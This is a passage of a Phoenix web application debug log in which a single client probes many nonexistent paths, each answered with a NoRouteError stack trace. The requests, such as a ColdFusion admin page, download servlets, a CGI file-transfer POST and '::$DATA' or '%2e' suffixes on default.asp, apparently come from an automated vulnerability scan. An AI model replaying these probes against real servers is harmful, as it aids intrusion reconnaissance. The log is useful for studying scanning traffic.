    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:35:21.406000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:52682] GET /WebInterface/
[Thu Sep  3 08:35:21.426000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:52682] ** (Phoenix.Router.NoRouteError) no route found for GET /WebInterface (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:35:27.574000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:42432] GET /WebInterface
[Thu Sep  3 08:35:27.610000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:42432] ** (Phoenix.Router.NoRouteError) no route found for GET /WebInterface (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:35:28.397000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:42442] GET /CFIDE/administrator/index.cfm
[Thu Sep  3 08:35:28.425000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:42442] ** (Phoenix.Router.NoRouteError) no route found for GET /CFIDE/administrator/index.cfm (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:35:30.932000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:42448] GET /backend/settings/oauth_adfs
[Thu Sep  3 08:35:30.951000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:42448] ** (Phoenix.Router.NoRouteError) no route found for GET /backend/settings/oauth_adfs (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:35:34.341000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:60022] GET /cwhp/XmpFileDownloadServlet
[Thu Sep  3 08:35:34.363000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:60022] ** (Phoenix.Router.NoRouteError) no route found for GET /cwhp/XmpFileDownloadServlet (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:35:36.705000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:60032] GET /dev/
[Thu Sep  3 08:35:36.727000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:60032] ** (Phoenix.Router.NoRouteError) no route found for GET /dev (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:35:39.329000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:60036] GET /gui/
[Thu Sep  3 08:35:39.363000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:60036] ** (Phoenix.Router.NoRouteError) no route found for GET /gui (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:35:40.235000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:60046] GET /gui/
[Thu Sep  3 08:35:40.252000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:60046] ** (Phoenix.Router.NoRouteError) no route found for GET /gui (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:35:43.895000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:59854] GET /axis/DirectDownload.jsp
[Thu Sep  3 08:35:43.924000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:59854] ** (Phoenix.Router.NoRouteError) no route found for GET /axis/DirectDownload.jsp (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:35:45.836000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:59860] POST /cgi-bin/file_transfer.cgi
[Thu Sep  3 08:35:45.868000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:59860] ** (Phoenix.Router.NoRouteError) no route found for POST /cgi-bin/file_transfer.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:35:51.613000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:59866] GET /error_page.htm
[Thu Sep  3 08:35:51.647000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:59866] ** (Phoenix.Router.NoRouteError) no route found for GET /error_page.htm (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:35:52.010000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:59878] GET /logon
[Thu Sep  3 08:35:52.076000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:59878] ** (Phoenix.Router.NoRouteError) no route found for GET /logon (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:35:59.883000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:46626] GET /default.asp%20
[Thu Sep  3 08:35:59.923000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:46626] ** (Phoenix.Router.NoRouteError) no route found for GET /default.asp%20 (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:36:00.675000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:46630] GET /default.asp::$DATA
[Thu Sep  3 08:36:00.706000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:46630] ** (Phoenix.Router.NoRouteError) no route found for GET /default.asp::$DATA (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:36:09.166000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:38834] GET /default.asp%2e
[Thu Sep  3 08:36:09.216000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:38834] ** (Phoenix.Router.NoRouteError) no route found for GET /default.asp%2e (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:36:11.177000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:38840] GET /
[Thu Sep  3 08:36:11.178000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:38840] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 08:36:11.179000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:38840] Sent 200 in 1ms
[Thu Sep  3 08:36:16.827000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:51658] GET /note.txt
[Thu Sep  3 08:36:16.858000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:51658] ** (Phoenix.Router.NoRouteError) no route found for GET /note.txt (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:36:17.515000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:51662] GET /note.txt
